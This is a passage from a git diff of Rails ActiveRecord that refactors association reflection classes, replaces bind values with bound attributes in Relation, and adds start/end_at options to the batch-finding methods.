-          if inverse_relationship = associated_class.reflect_on_association(options[:inverse_of])
+          if inverse_relationship = associated_class._reflect_on_association(options[:inverse_of])
             inverse_relationship
           else
             raise InverseOfAssociationNotFoundError.new(self, associated_class)
@@ -310,11 +400,16 @@ module ActiveRecord
         end
       end
 
+      # Returns the macro type.
+      #
+      # <tt>has_many :clients</tt> returns <tt>:has_many</tt>
+      def macro; raise NotImplementedError; end
+
       # Returns whether or not this association reflection is for a collection
       # association. Returns +true+ if the +macro+ is either +has_many+ or
       # +has_and_belongs_to_many+, +false+ otherwise.
       def collection?
-        @collection
+        false
       end
 
       # Returns whether or not the association should be validated as part of
@@ -327,28 +422,23 @@ module ActiveRecord
       # * you use autosave; <tt>autosave: true</tt>
       # * the association is a +has_many+ association
       def validate?
-        !options[:validate].nil? ? options[:validate] : (options[:autosave] == true || macro == :has_many)
+        !options[:validate].nil? ? options[:validate] : (options[:autosave] == true || collection?)
       end
 
       # Returns +true+ if +self+ is a +belongs_to+ reflection.
-      def belongs_to?
-        macro == :belongs_to
-      end
+      def belongs_to?; false; end
 
-      def has_and_belongs_to_many?
-        macro == :has_and_belongs_to_many
-      end
+      # Returns +true+ if +self+ is a +has_one+ reflection.
+      def has_one?; false; end
 
       def association_class
         case macro
         when :belongs_to
-          if options[:polymorphic]
+          if polymorphic?
             Associations::BelongsToPolymorphicAssociation
           else
             Associations::BelongsToAssociation
           end
-        when :has_and_belongs_to_many
-          Associations::HasAndBelongsToManyAssociation
         when :has_many
           if options[:through]
             Associations::HasManyThroughAssociation
@@ -365,7 +455,7 @@ module ActiveRecord
       end
 
       def polymorphic?
-        options.key? :polymorphic
+        options[:polymorphic]
       end
 
       VALID_AUTOMATIC_INVERSE_MACROS = [:has_many, :has_one, :belongs_to]
@@ -373,11 +463,23 @@ module ActiveRecord
 
       protected
 
-      def actual_source_reflection # FIXME: this is a horrible name
-        self
-      end
+        def actual_source_reflection # FIXME: this is a horrible name
+          self
+        end
 
       private
+
+        def calculate_constructable(macro, options)
+          case macro
+          when :belongs_to
+            !polymorphic?
+          when :has_one
+            !options[:through]
+          else
+            true
+          end
+        end
+
         # Attempts to find the inverse association name automatically.
         # If it cannot find a suitable inverse association name, it returns
         # nil.
@@ -394,10 +496,10 @@ module ActiveRecord
         # returns either nil or the inverse association name that it finds.
         def automatic_inverse_of
           if can_find_inverse_of_automatically?(self)
-            inverse_name = ActiveSupport::Inflector.underscore(active_record.name).to_sym
+            inverse_name = ActiveSupport::Inflector.underscore(options[:as] || active_record.name.demodulize).to_sym
 
             begin
-              reflection = klass.reflect_on_association(inverse_name)
+              reflection = klass._reflect_on_association(inverse_name)
             rescue NameError
               # Give up: we couldn't compute the klass type so we won't be able
               # to find any associations either.
@@ -443,9 +545,9 @@ module ActiveRecord
         end
 
         def derive_class_name
-          class_name = name.to_s.camelize
+          class_name = name.to_s
           class_name = class_name.singularize if collection?
-          class_name
+          class_name.camelize
         end
 
         def derive_foreign_key
@@ -459,7 +561,7 @@ module ActiveRecord
         end
 
         def derive_join_table
-          [active_record.table_name, klass.table_name].sort.join("\0").gsub(/^(.*_)(.+)\0\1(.+)/, '\1\2_\3').gsub("\0", "_")
+          ModelSchema.derive_join_table_name active_record.table_name, klass.table_name
         end
 
         def primary_key(klass)
@@ -467,15 +569,72 @@ module ActiveRecord
         end
     end
 
+    class HasManyReflection < AssociationReflection # :nodoc:
+      def initialize(name, scope, options, active_record)
+        super(name, scope, options, active_record)
+      end
+
+      def macro; :has_many; end
+
+      def collection?; true; end
+    end
+
+    class HasOneReflection < AssociationReflection # :nodoc:
+      def initialize(name, scope, options, active_record)
+        super(name, scope, options, active_record)
+      end
+
+      def macro; :has_one; end
+
+      def has_one?; true; end
+    end
+
+    class BelongsToReflection < AssociationReflection # :nodoc:
+      def initialize(name, scope, options, active_record)
+        super(name, scope, options, active_record)
+      end
+
+      def macro; :belongs_to; end
+
+      def belongs_to?; true; end
+
+      def join_keys(association_klass)
+        key = polymorphic? ? association_primary_key(association_klass) : association_primary_key
+        JoinKeys.new(key, foreign_key)
+      end
+
+      def join_id_for(owner) # :nodoc:
+        owner[foreign_key]
+      end
+    end
+
+    class HasAndBelongsToManyReflection < AssociationReflection # :nodoc:
+      def initialize(name, scope, options, active_record)
+        super
+      end
+
+      def macro; :has_and_belongs_to_many; end
+
+      def collection?
+        true
+      end
+    end
+
     # Holds all the meta-data about a :through association as it was specified
     # in the Active Record class.
-    class ThroughReflection < AssociationReflection #:nodoc:
+    class ThroughReflection < AbstractReflection #:nodoc:
+      attr_reader :delegate_reflection
       delegate :foreign_key, :foreign_type, :association_foreign_key,
                :active_record_primary_key, :type, :to => :source_reflection
 
-      def initialize(macro, name, scope, options, active_record)
-        super
-        @source_reflection_name = options[:source]
+      def initialize(delegate_reflection)
+        @delegate_reflection = delegate_reflection
+        @klass         = delegate_reflection.options[:class]
+        @source_reflection_name = delegate_reflection.options[:source]
+      end
+
+      def klass
+        @klass ||= delegate_reflection.compute_class(class_name)
       end
 
       # Returns the source of the through reflection. It checks both a singularized
@@ -493,10 +652,10 @@ module ActiveRecord
       #
       #   tags_reflection = Post.reflect_on_association(:tags)
       #   tags_reflection.source_reflection
-      #   # => <ActiveRecord::Reflection::AssociationReflection: @macro=:belongs_to, @name=:tag, @active_record=Tagging, @plural_name="tags">
+      #   # => <ActiveRecord::Reflection::BelongsToReflection: @name=:tag, @active_record=Tagging, @plural_name="tags">
       #
       def source_reflection
-        through_reflection.klass.reflect_on_association(source_reflection_name)
+        through_reflection.klass._reflect_on_association(source_reflection_name)
       end
 
       # Returns the AssociationReflection object specified in the <tt>:through</tt> option
@@ -509,10 +668,10 @@ module ActiveRecord
       #
       #   tags_reflection = Post.reflect_on_association(:tags)
       #   tags_reflection.through_reflection
-      #   # => <ActiveRecord::Reflection::AssociationReflection: @macro=:has_many, @name=:taggings, @active_record=Post, @plural_name="taggings">
+      #   # => <ActiveRecord::Reflection::HasManyReflection: @name=:taggings, @active_record=Post, @plural_name="taggings">
       #
       def through_reflection
-        active_record.reflect_on_association(options[:through])
+        active_record._reflect_on_association(options[:through])
       end
 
       # Returns an array of reflections which are involved in this association. Each item in the
@@ -529,13 +688,18 @@ module ActiveRecord
       #
       #   tags_reflection = Post.reflect_on_association(:tags)
       #   tags_reflection.chain
-      #   # => [<ActiveRecord::Reflection::ThroughReflection: @macro=:has_many, @name=:tags, @options={:through=>:taggings}, @active_record=Post>,
-      #         <ActiveRecord::Reflection::AssociationReflection: @macro=:has_many, @name=:taggings, @options={}, @active_record=Post>]
+      #   # => [<ActiveRecord::Reflection::ThroughReflection: @delegate_reflection=#<ActiveRecord::Reflection::HasManyReflection: @name=:tags...>,
+      #         <ActiveRecord::Reflection::HasManyReflection: @name=:taggings, @options={}, @active_record=Post>]
       #
       def chain
         @chain ||= begin
           a = source_reflection.chain
           b = through_reflection.chain
+
+          if options[:source_type]
+            b[0] = PolymorphicReflection.new(b[0], self)
+          end
+
           chain = a + b
           chain[0] = self # Use self so we don't lose the information from :source_type
           chain
@@ -568,11 +732,14 @@ module ActiveRecord
           # Add to it the scope from this reflection (if any)
           scope_chain.first << scope if scope
 
-          through_scope_chain = through_reflection.scope_chain
+          through_scope_chain = through_reflection.scope_chain.map(&:dup)
 
           if options[:source_type]
-            through_scope_chain.first <<
-              through_reflection.klass.where(foreign_type => options[:source_type])
+            type = foreign_type
+            source_type = options[:source_type]
+            through_scope_chain.first << lambda { |object|
+              where(type => source_type)
+            }
           end
 
           # Recursively fill out the rest of the array from the through reflection
@@ -580,14 +747,13 @@ module ActiveRecord
         end
       end
 
-      # The macro used by the source association
-      def source_macro
-        source_reflection.source_macro
+      def join_keys(association_klass)
+        source_reflection.join_keys(association_klass)
       end
 
       # A through association is nested if there would be more than one join table
       def nested?
-        chain.length > 2 || through_reflection.has_and_belongs_to_many?
+        chain.length > 2
       end
 
       # We want to use the klass from this reflection, rather than just delegate straight to
@@ -611,29 +777,27 @@ module ActiveRecord
       #   # => [:tag, :tags]
       #
       def source_reflection_names
-        (options[:source] ? [options[:source]] : [name.to_s.singularize, name]).collect { |n| n.to_sym }.uniq
+        options[:source] ? [options[:source]] : [name.to_s.singularize, name].uniq
       end
 
       def source_reflection_name # :nodoc:
         return @source_reflection_name if @source_reflection_name
 
-        names = [name.to_s.singularize, name].collect { |n| n.to_sym }.uniq
+        names = [name.to_s.singularize, name].collect(&:to_sym).uniq
         names = names.find_all { |n|
-          through_reflection.klass.reflect_on_association(n)
+          through_reflection.klass._reflect_on_association(n)
         }
 
         if names.length > 1
           example_options = options.dup
           example_options[:source] = source_reflection_names.first
-          ActiveSupport::Deprecation.warn <<-eowarn
-Ambiguous source reflection for through association.  Please specify a :source
-directive on your declaration like:
-
-  class #{active_record.name} < ActiveRecord::Base
-    #{macro} :#{name}, #{example_options}
-  end
-
-          eowarn
+          ActiveSupport::Deprecation.warn \
+            "Ambiguous source reflection for through association.  Please " \
+            "specify a :source directive on your declaration like:\n" \
+            "\n" \
+            "  class #{active_record.name} < ActiveRecord::Base\n" \
+            "    #{macro} :#{name}, #{example_options}\n" \
+            "  end"
         end
 
         @source_reflection_name = names.first
@@ -647,45 +811,145 @@ directive on your declaration like:
         through_reflection.options
       end
 
+      def join_id_for(owner) # :nodoc:
+        source_reflection.join_id_for(owner)
+      end
+
       def check_validity!
         if through_reflection.nil?
           raise HasManyThroughAssociationNotFoundError.new(active_record.name, self)
         end
 
-        if through_reflection.options[:polymorphic]
-          raise HasManyThroughAssociationPolymorphicThroughError.new(active_record.name, self)
+        if through_reflection.polymorphic?
+          if has_one?
+            raise HasOneAssociationPolymorphicThroughError.new(active_record.name, self)
+          else
+            raise HasManyThroughAssociationPolymorphicThroughError.new(active_record.name, self)
+          end
         end
 
         if source_reflection.nil?
           raise HasManyThroughSourceAssociationNotFoundError.new(self)
         end
 
-        if options[:source_type] && source_reflection.options[:polymorphic].nil?
+        if options[:source_type] && !source_reflection.polymorphic?
           raise HasManyThroughAssociationPointlessSourceTypeError.new(active_record.name, self, source_reflection)
         end
 
-        if source_reflection.options[:polymorphic] && options[:source_type].nil?
+        if source_reflection.polymorphic? && options[:source_type].nil?
           raise HasManyThroughAssociationPolymorphicSourceError.new(active_record.name, self, source_reflection)
         end
 
-        if macro == :has_one && through_reflection.collection?
+        if has_one? && through_reflection.collection?
           raise HasOneThroughCantAssociateThroughCollection.new(active_record.name, self, through_reflection)
         end
 
         check_validity_of_inverse!
       end
 
+      def constraints
+        scope_chain = source_reflection.constraints
+        scope_chain << scope if scope
+        scope_chain
+      end
+
       protected
 
-      def actual_source_reflection # FIXME: this is a horrible name
-        source_reflection.actual_source_reflection
-      end
+        def actual_source_reflection # FIXME: this is a horrible name
+          source_reflection.send(:actual_source_reflection)
+        end
+
+        def primary_key(klass)
+          klass.primary_key || raise(UnknownPrimaryKey.new(klass))
+        end
 
       private
         def derive_class_name
           # get the class_name of the belongs_to association of the through reflection
           options[:source_type] || source_reflection.class_name
         end
+
+        delegate_methods = AssociationReflection.public_instance_methods -
+          public_instance_methods
+
+        delegate(*delegate_methods, to: :delegate_reflection)
+
+    end
+
+    class PolymorphicReflection < ThroughReflection # :nodoc:
+      def initialize(reflection, previous_reflection)
+        @reflection = reflection
+        @previous_reflection = previous_reflection
+      end
+
+      def klass
+        @reflection.klass
+      end
+
+      def scope
+        @reflection.scope
+      end
+
+      def table_name
+        @reflection.table_name
+      end
+
+      def plural_name
+        @reflection.plural_name
+      end
+
+      def join_keys(association_klass)
+        @reflection.join_keys(association_klass)
+      end
+
+      def type
+        @reflection.type
+      end
+
+      def constraints
+        [source_type_info]
+      end
+
+      def source_type_info
+        type = @previous_reflection.foreign_type
+        source_type = @previous_reflection.options[:source_type]
+        lambda { |object| where(type => source_type) }
+      end
+    end
+
+    class RuntimeReflection < PolymorphicReflection # :nodoc:
+      attr_accessor :next
+
+      def initialize(reflection, association)
+        @reflection = reflection
+        @association = association
+      end
+
+      def klass
+        @association.klass
+      end
+
+      def table_name
+        klass.table_name
+      end
+
+      def constraints
+        @reflection.constraints
+      end
+
+      def source_type_info
+        @reflection.source_type_info
+      end
+
+      def alias_candidate(name)
+        "#{plural_name}_#{name}_join"
+      end
+
+      def alias_name
+        Arel::Table.new(table_name)
+      end
+
+      def all_includes; yield; end
     end
   end
 end
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
index 4e86e905ed..8073eb99dd 100644
--- a/activerecord/lib/active_record/relation.rb
+++ b/activerecord/lib/active_record/relation.rb
@@ -1,37 +1,39 @@
 # -*- coding: utf-8 -*-
+require "arel/collectors/bind"
 
 module ActiveRecord
   # = Active Record Relation
   class Relation
-    JoinOperation = Struct.new(:relation, :join_class, :on)
-
     MULTI_VALUE_METHODS  = [:includes, :eager_load, :preload, :select, :group,
-                            :order, :joins, :where, :having, :bind, :references,
-                            :extending]
+                            :order, :joins, :references,
+                            :extending, :unscope]
 
-    SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reordering,
+    SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :reordering,
                             :reverse_order, :distinct, :create_with, :uniq]
+    CLAUSE_METHODS = [:where, :having, :from]
+    INVALID_METHODS_FOR_DELETE_ALL = [:limit, :distinct, :offset, :group, :having]
 
-    VALUE_METHODS = MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS
+    VALUE_METHODS = MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS + CLAUSE_METHODS
 
     include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation
 
-    attr_reader :table, :klass, :loaded
+    attr_reader :table, :klass, :loaded, :predicate_builder
     alias :model :klass
     alias :loaded? :loaded
 
-    def initialize(klass, table, values = {})
+    def initialize(klass, table, predicate_builder, values = {})
       @klass  = klass
       @table  = table
       @values = values
+      @offsets = {}
       @loaded = false
+      @predicate_builder = predicate_builder
     end
 
     def initialize_copy(other)
       # This method is a hot spot, so for now, use Hash[] to dup the hash.
       #   https://bugs.ruby-lang.org/issues/7166
       @values        = Hash[@values]
-      @values[:bind] = @values[:bind].dup if @values.key? :bind
       reset
     end
 
@@ -69,24 +71,35 @@ module ActiveRecord
         binds)
     end
 
-    def update_record(values, id, id_was) # :nodoc:
+    def _update_record(values, id, id_was) # :nodoc:
       substitutes, binds = substitute_values values
-      um = @klass.unscoped.where(@klass.arel_table[@klass.primary_key].eq(id_was || id)).arel.compile_update(substitutes)
+
+      scope = @klass.unscoped
+
+      if @klass.finder_needs_type_condition?
+        scope.unscope!(where: @klass.inheritance_column)
+      end
+
+      relation = scope.where(@klass.primary_key => (id_was || id))
+      bvs = binds + relation.bound_attributes
+      um = relation
+        .arel
+        .compile_update(substitutes, @klass.primary_key)
 
       @klass.connection.update(
         um,
         'SQL',
-        binds)
+        bvs,
+      )
     end
 
     def substitute_values(values) # :nodoc:
-      substitutes = values.sort_by { |arel_attr,_| arel_attr.name }
-      binds       = substitutes.map do |arel_attr, value|
-        [@klass.columns_hash[arel_attr.name], value]
+      binds = values.map do |arel_attr, value|
+        QueryAttribute.new(arel_attr.name, value, klass.type_for_attribute(arel_attr.name))
       end
 
-      substitutes.each_with_index do |tuple, i|
-        tuple[1] = @klass.connection.substitute_at(binds[i][0], i)
+      substitutes = values.map do |(arel_attr, _)|
+        [arel_attr, connection.substitute_at(klass.columns_hash[arel_attr.name])]
       end
 
       [substitutes, binds]
@@ -222,6 +235,7 @@ module ActiveRecord
     # Please see further details in the
     # {Active Record Query Interface guide}[http://guides.rubyonrails.org/active_record_querying.html#running-explain].
     def explain
+      #TODO: Fix for binds.
       exec_explain(collecting_queries_for_explain { exec_queries })
     end
 
@@ -231,21 +245,30 @@ module ActiveRecord
       @records
     end
 
+    # Serializes the relation objects Array.
+    def encode_with(coder)
+      coder.represent_seq(nil, to_a)
+    end
+
     def as_json(options = nil) #:nodoc:
       to_a.as_json(options)
     end
 
     # Returns size of the records.
     def size
-      loaded? ? @records.length : count
+      loaded? ? @records.length : count(:all)
     end
 
     # Returns true if there are no records.
     def empty?
       return @records.empty? if loaded?
 
-      c = count(:all)
-      c.respond_to?(:zero?) ? c.zero? : c.empty?
+      if limit_value == 0
+        true
+      else
+        c = count(:all)
+        c.respond_to?(:zero?) ? c.zero? : c.empty?
+      end
     end
 
     # Returns true if there are any records.
@@ -282,10 +305,11 @@ module ActiveRecord
       klass.current_scope = previous
     end
 
-    # Updates all records with details given if they match a set of conditions supplied, limits and order can
-    # also be supplied. This method constructs a single SQL UPDATE statement and sends it straight to the
-    # database. It does not instantiate the involved models and it does not trigger Active Record callbacks
-    # or validations.
+    # Updates all records in the current relation with details given. This method constructs a single SQL UPDATE
+    # statement and sends it straight to the database. It does not instantiate the involved models and it does not
+    # trigger Active Record callbacks or validations. Values passed to `update_all` will not go through
+    # ActiveRecord's type-casting behavior. It should receive only values that can be passed as-is to the SQL
+    # database.
     #
     # ==== Parameters
     #
@@ -304,7 +328,7 @@ module ActiveRecord
     def update_all(updates)
       raise ArgumentError, "Empty list of attributes to change" if updates.blank?
 
-      stmt = Arel::UpdateManager.new(arel.engine)
+      stmt = Arel::UpdateManager.new
 
       stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))
       stmt.table(table)
@@ -318,7 +342,7 @@ module ActiveRecord
         stmt.wheres = arel.constraints
       end
 
-      @klass.connection.update stmt, 'SQL', bind_values
+      @klass.connection.update stmt, 'SQL', bound_attributes
     end
 
     # Updates an object (or multiple objects) and saves it to the database, if validations pass.
@@ -337,9 +361,21 @@ module ActiveRecord
     #   # Updates multiple records
     #   people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
     #   Person.update(people.keys, people.values)
-    def update(id, attributes)
+    #
+    #   # Updates multiple records from the result of a relation
+    #   people = Person.where(group: 'expert')
+    #   people.update(group: 'masters')
+    #
+    #   Note: Updating a large number of records will run a
+    #   UPDATE query for each record, which may cause a performance
+    #   issue. So if it is not needed to run callbacks for each update, it is
+    #   preferred to use <tt>update_all</tt> for updating all records using
+    #   a single query.
+    def update(id = :all, attributes)
       if id.is_a?(Array)
         id.map.with_index { |one_id, idx| update(one_id, attributes[idx]) }
+      elsif id == :all
+        to_a.each { |record| record.update(attributes) }
       else
         object = find(id)
         object.update(attributes)
@@ -376,7 +412,7 @@ module ActiveRecord
       if conditions
         where(conditions).destroy_all
       else
-        to_a.each {|object| object.destroy }.tap { reset }
+        to_a.each(&:destroy).tap { reset }
       end
     end
 
@@ -422,17 +458,28 @@ module ActiveRecord
     # If you need to destroy dependent associations or call your <tt>before_*</tt> or
     # +after_destroy+ callbacks, use the +destroy_all+ method instead.
     #
-    # If a limit scope is supplied, +delete_all+ raises an ActiveRecord error:
+    # If an invalid method is supplied, +delete_all+ raises an ActiveRecord error:
     #
     #   Post.limit(100).delete_all
-    #   # => ActiveRecord::ActiveRecordError: delete_all doesn't support limit scope
+    #   # => ActiveRecord::ActiveRecordError: delete_all doesn't support limit
     def delete_all(conditions = nil)
-      raise ActiveRecordError.new("delete_all doesn't support limit scope") if self.limit_value
+      invalid_methods = INVALID_METHODS_FOR_DELETE_ALL.select { |method|
+        if MULTI_VALUE_METHODS.include?(method)
+          send("#{method}_values").any?
+        elsif SINGLE_VALUE_METHODS.include?(method)
+          send("#{method}_value")
+        elsif CLAUSE_METHODS.include?(method)
+          send("#{method}_clause").any?
+        end
+      }
+      if invalid_methods.any?
+        raise ActiveRecordError.new("delete_all doesn't support #{invalid_methods.join(', ')}")
+      end
 
       if conditions
         where(conditions).delete_all
       else
-        stmt = Arel::DeleteManager.new(arel.engine)
+        stmt = Arel::DeleteManager.new
         stmt.from(table)
 
         if joins_values.any?
@@ -441,7 +488,7 @@ module ActiveRecord
           stmt.wheres = arel.constraints
         end
 
-        affected = @klass.connection.delete(stmt, 'SQL', bind_values)
+        affected = @klass.connection.delete(stmt, 'SQL', bound_attributes)
 
         reset
         affected
@@ -490,9 +537,10 @@ module ActiveRecord
     end
 
     def reset
-      @first = @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
+      @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
       @should_eager_load = @join_dependency = nil
       @records = []
+      @offsets = {}
       self
     end
 
@@ -507,15 +555,14 @@ module ActiveRecord
                     visitor    = connection.visitor
 
                     if eager_loading?
-                      join_dependency = construct_join_dependency
-                      relation        = construct_relation_for_association_find(join_dependency)
+                      find_with_associations { |rel| relation = rel }
                     end
 
-                    ast   = relation.arel.ast
-                    binds = relation.bind_values.dup
-                    visitor.accept(ast) do
-                      connection.quote(*binds.shift.reverse)
-                    end
+                    binds = relation.bound_attributes
+                    binds = connection.prepare_binds_for_database(binds)
+                    binds.map! { |value| connection.quote(value) }
+                    collect = visitor.accept(relation.arel.ast, Arel::Collectors::Bind.new)
+                    collect.substitute_binds(binds).join
                   end
     end
 
@@ -523,18 +570,8 @@ module ActiveRecord
     #
     #   User.where(name: 'Oscar').where_values_hash
     #   # => {name: "Oscar"}
-    def where_values_hash
-      equalities = where_values.grep(Arel::Nodes::Equality).find_all { |node|
-        node.left.relation.name == table_name
-      }
-
-      binds = Hash[bind_values.find_all(&:first).map { |column, v| [column.name, v] }]
-      binds.merge!(Hash[bind_values.find_all(&:first).map { |column, v| [column.name, v] }])
-
-      Hash[equalities.map { |where|
-        name = where.left.name
-        [name, binds.fetch(name.to_s) { where.right }]
-      }]
+    def where_values_hash(relation_table_name = table_name)
+      where_clause.to_h(relation_table_name)
     end
 
     def scope_for_create
@@ -565,6 +602,8 @@ module ActiveRecord
     # Compares two relations for equality.
     def ==(other)
       case other
+      when Associations::CollectionProxy, AssociationRelation
+        self == other.to_a
       when Relation
         other.to_sql == to_sql
       when Array
@@ -595,23 +634,30 @@ module ActiveRecord
     private
 
     def exec_queries
-      @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, bind_values)
+      @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, bound_attributes)
 
       preload = preload_values
       preload +=  includes_values unless eager_loading?
+      preloader = build_preloader
       preload.each do |associations|
-        ActiveRecord::Associations::Preloader.new(@records, associations).run
+        preloader.preload @records, associations
       end
 
-      @records.each { |record| record.readonly! } if readonly_value
+      @records.each(&:readonly!) if readonly_value
 
       @loaded = true
       @records
     end
 
+    def build_preloader
+      ActiveRecord::Associations::Preloader.new
+    end
+
     def references_eager_loaded_tables?
       joined_tables = arel.join_sources.map do |join|
-        unless join.is_a?(Arel::Nodes::StringJoin)
+        if join.is_a?(Arel::Nodes::StringJoin)
+          tables_in_string(join.left)
+        else
           [join.left.table_name, join.left.table_alias]
         end
       end
@@ -619,9 +665,16 @@ module ActiveRecord
       joined_tables += [table.name, table.table_alias]
 
       # always convert table names to downcase as in Oracle quoted table names are in uppercase
-      joined_tables = joined_tables.flatten.compact.map { |t| t.downcase }.uniq
+      joined_tables = joined_tables.flatten.compact.map(&:downcase).uniq
 
       (references_values - joined_tables).any?
     end
+
+    def tables_in_string(string)
+      return [] if string.blank?
+      # always convert table names to downcase as in Oracle quoted table names are in uppercase
+      # ignore raw_sql_ that is used by Oracle adapter as alias for limit/offset subqueries
+      string.scan(/([a-zA-Z_][.\w]+).?\./).flatten.map(&:downcase).uniq - ['raw_sql_']
+    end
   end
 end
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
index fd8496442e..a543341149 100644
--- a/activerecord/lib/active_record/relation/batches.rb
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -1,4 +1,3 @@
-
 module ActiveRecord
   module Batches
     # Looping through a collection of records from the database
@@ -28,35 +27,39 @@ module ActiveRecord
     #
     # ==== Options
     # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000.
-    # * <tt>:start</tt> - Specifies the starting point for the batch processing.
+    # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value.
+    # * <tt>:end_at</tt> - Specifies the primary key value to end at, inclusive of the value.
     # This is especially useful if you want multiple workers dealing with
     # the same processing queue. You can make worker 1 handle all the records
     # between id 0 and 10,000 and worker 2 handle from 10,000 and beyond
-    # (by setting the +:start+ option on that worker).
+    # (by setting the +:start+ and +:end_at+ option on each worker).
     #
-    #   # Let's process for a batch of 2000 records, skiping the first 2000 rows
+    #   # Let's process for a batch of 2000 records, skipping the first 2000 rows
     #   Person.find_each(start: 2000, batch_size: 2000) do |person|
     #     person.party_all_night!
     #   end
     #
     # NOTE: It's not possible to set the order. That is automatically set to
     # ascending on the primary key ("id ASC") to make the batch ordering
-    # work. This also means that this method only works with integer-based
-    # primary keys.
+    # work. This also means that this method only works when the primary key is
+    # orderable (e.g. an integer or string).
     #
     # NOTE: You can't set the limit either, that's used to control
     # the batch sizes.
-    def find_each(options = {})
+    def find_each(start: nil, end_at: nil, batch_size: 1000)
       if block_given?
-        find_in_batches(options) do |records|
+        find_in_batches(start: start, end_at: end_at, batch_size: batch_size) do |records|
           records.each { |record| yield record }
         end
       else
-        enum_for :find_each, options
+        enum_for(:find_each, start: start, end_at: end_at, batch_size: batch_size) do
+          relation = self
+          apply_limits(relation, start, end_at).size
+        end
       end
     end
 
-    # Yields each batch of records that was found by the find +options+ as
+    # Yields each batch of records that was found by the find options as
     # an array.
     #
     #   Person.where("age > 21").find_in_batches do |group|
@@ -64,13 +67,24 @@ module ActiveRecord
     #     group.each { |person| person.party_all_night! }
     #   end
     #
+    # If you do not provide a block to #find_in_batches, it will return an Enumerator
+    # for chaining with other methods:
+    #
+    #   Person.find_in_batches.with_index do |group, batch|
+    #     puts "Processing group ##{batch}"
+    #     group.each(&:recover_from_last_night!)
+    #   end
+    #
+    # To be yielded each record one by one, use #find_each instead.
+    #
     # ==== Options
     # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000.
-    # * <tt>:start</tt> - Specifies the starting point for the batch processing.
+    # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value.
+    # * <tt>:end_at</tt> - Specifies the primary key value to end at, inclusive of the value.
     # This is especially useful if you want multiple workers dealing with
     # the same processing queue. You can make worker 1 handle all the records
     # between id 0 and 10,000 and worker 2 handle from 10,000 and beyond
-    # (by setting the +:start+ option on that worker).
+    # (by setting the +:start+ and +:end_at+ option on each worker).
     #
     #   # Let's process the next 2000 records
     #   Person.find_in_batches(start: 2000, batch_size: 2000) do |group|
@@ -79,44 +93,50 @@ module ActiveRecord
     #
     # NOTE: It's not possible to set the order. That is automatically set to
     # ascending on the primary key ("id ASC") to make the batch ordering
-    # work. This also means that this method only works with integer-based
-    # primary keys.
+    # work. This also means that this method only works when the primary key is
+    # orderable (e.g. an integer or string).
     #
     # NOTE: You can't set the limit either, that's used to control
     # the batch sizes.
-    def find_in_batches(options = {})
-      options.assert_valid_keys(:start, :batch_size)
-
+    def find_in_batches(start: nil, end_at: nil, batch_size: 1000)
       relation = self
 
+      unless block_given?
+        return to_enum(:find_in_batches, start: start, end_at: end_at, batch_size: batch_size) do
+          total = apply_limits(relation, start, end_at).size
+          (total - 1).div(batch_size) + 1
+        end
+      end
+
       if logger && (arel.orders.present? || arel.taken.present?)
         logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size")
       end
 
-      start = options.delete(:start)
-      batch_size = options.delete(:batch_size) || 1000
-
       relation = relation.reorder(batch_order).limit(batch_size)
-      records = start ? relation.where(table[primary_key].gteq(start)).to_a : relation.to_a
+      relation = apply_limits(relation, start, end_at)
+      records = relation.to_a
 
       while records.any?
         records_size = records.size
         primary_key_offset = records.last.id
+        raise "Primary key not included in the custom select clause" unless primary_key_offset
 
         yield records
 
         break if records_size < batch_size
 
-        if primary_key_offset
-          records = relation.where(table[primary_key].gt(primary_key_offset)).to_a
-        else
-          raise "Primary key not included in the custom select clause"
-        end
+        records = relation.where(table[primary_key].gt(primary_key_offset)).to_a
       end
     end
 
     private
 
+    def apply_limits(relation, start, end_at)
+      relation = relation.where(table[primary_key].gteq(start)) if start
+      relation = relation.where(table[primary_key].lteq(end_at)) if end_at
+      relation
+    end
+
     def batch_order
       "#{quoted_table_name}.#{quoted_primary_key} ASC"
     end
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
index 27c04b0952..63e0d2fc21 100644
--- a/activerecord/lib/active_record/relation/calculations.rb
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -19,17 +19,32 @@ module ActiveRecord
     #
     #   Person.group(:city).count
     #   # => { 'Rome' => 5, 'Paris' => 3 }
-    def count(column_name = nil, options = {})
-      column_name, options = nil, column_name if column_name.is_a?(Hash)
-      calculate(:count, column_name, options)
+    #
+    # If +count+ is used with +group+ for multiple columns, it returns a Hash whose
+    # keys are an array containing the individual values of each column and the value
+    # of each key would be the +count+.
+    #
+    #   Article.group(:status, :category).count
+    #   # =>  {["draft", "business"]=>10, ["draft", "technology"]=>4,
+    #          ["published", "business"]=>0, ["published", "technology"]=>2}
+    #
+    # If +count+ is used with +select+, it will count the selected columns:
+    #
+    #   Person.select(:age).count
+    #   # => counts the number of different age values
+    #
+    # Note: not all valid +select+ expressions are valid +count+ expressions. The specifics differ
+    # between databases. In invalid cases, an error from the database is thrown.
+    def count(column_name = nil)
+      calculate(:count, column_name)
     end
 
     # Calculates the average value on a given column. Returns +nil+ if there's
     # no row. See +calculate+ for examples with options.
     #
     #   Person.average(:age) # => 35.8
-    def average(column_name, options = {})
-      calculate(:average, column_name, options)
+    def average(column_name)
+      calculate(:average, column_name)
     end
 
     # Calculates the minimum value on a given column. The value is returned
@@ -37,8 +52,8 @@ module ActiveRecord
     # +calculate+ for examples with options.
     #
     #   Person.minimum(:age) # => 7
-    def minimum(column_name, options = {})
